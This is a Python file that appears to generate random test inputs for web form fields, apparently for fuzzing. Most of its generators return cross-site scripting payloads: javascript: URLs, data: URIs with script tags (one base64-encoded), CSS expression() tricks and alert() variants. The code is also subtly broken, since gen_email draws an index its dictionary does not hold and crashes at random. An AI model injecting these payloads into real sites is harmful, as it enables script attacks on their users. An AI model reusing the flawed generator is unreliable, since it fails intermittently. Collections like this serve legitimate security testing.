from random import randint


def gen_text():
    cases = {
        0: lambda: 'alert(0)',
        1: lambda: 'prompt\x600\x60',
        2: lambda: '"confirm\x600\x60"',
        3: lambda: 'window["alert"](0)',
        4: lambda: 'window["prompt"](0)',
        5: lambda: 'window["confirm"](0)',
        6: lambda: '"alert\x600\x60"',
        7: lambda: '"prompt\x600\x60"',
        8: lambda: '"alert(1)"',
    }

    return cases[randint(0, 8)]()


def gen_boolean():
    cases = {
        0: lambda: 'true',
        1: lambda: 'false',
        2: lambda: '1',
        3: lambda: '0',
        4: lambda: 'null',
        5: lambda: 'undefined',
        6: lambda: '""',
        7: lambda: '[]',
        8: lambda: '{}',
    }

    return cases[randint(0, 8)]()


def gen_number():
    cases = {
        0: lambda: '0',
        1: lambda: '1',
        2: lambda: '0.1',
        3: lambda: '1.1',
        4: lambda: '0x1',
        5: lambda: '0b1',
        6: lambda: '0o1',
        7: lambda: '1e1',
        8: lambda: '1e-1',
    }

    return cases[randint(0, 8)]()


def gen_color():
    cases = {
        0: lambda: '#000000',
        1: lambda: '#ffffff',
        2: lambda: '#ff0000',
        3: lambda: '#00ff00',
        4: lambda: '#0000ff',
        5: lambda: '#ffff00',
        6: lambda: '#00ffff',
        7: lambda: '#ff00ff',
        8: lambda: '#c0c0c0',
    }

    return cases[randint(0, 8)]()


def gen_javascript():
    cases = {
        0: lambda: 'alert(0)',
        1: lambda: 'prompt\x600\x60',
        2: lambda: '"confirm\x600\x60"',
        3: lambda: 'window["alert"](0)',
        4: lambda: 'window["prompt"](0)',
        5: lambda: 'window["confirm"](0)',
        6: lambda: '"alert\x600\x60"',
        7: lambda: '"prompt\x600\x60"',
        8: lambda: '"alert(1)"',
        9: lambda: 'console.log(alert(1))//',
        10: lambda: 'console.log(alert(1))/*',
        11: lambda: '{1:alert(1)}',
    }

    return cases[randint(0, 11)]()


def gen_style():
    # xss via style
    cases = {
        0: lambda: 'background-image:url("javascript:alert(1)")',
        1: lambda: 'expression(alert(1))',
        2: lambda: 'expression\x600\x60',
    }

    return cases[randint(0, 2)]()


def gen_url():
    # xss via url
    cases = {
        0: lambda: 'javascript:alert(1)',
        1: lambda: 'data:text/html,<script>alert(1)</script>',
        2: lambda: 'data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==',
        3: lambda: 'data:text/html,<script>alert\x600\x60</script>',
    }

    return cases[randint(0, 3)]()


def gen_email():
    # xss via email
    cases = {
        0: lambda: '@javascript:alert(1)',
        1: lambda: 'javascript:alert(1)@',
        2: lambda: '@javascript:alert\x600\x60',
    }

    return cases[randint(0, 3)]()


def gen_date():
    return ''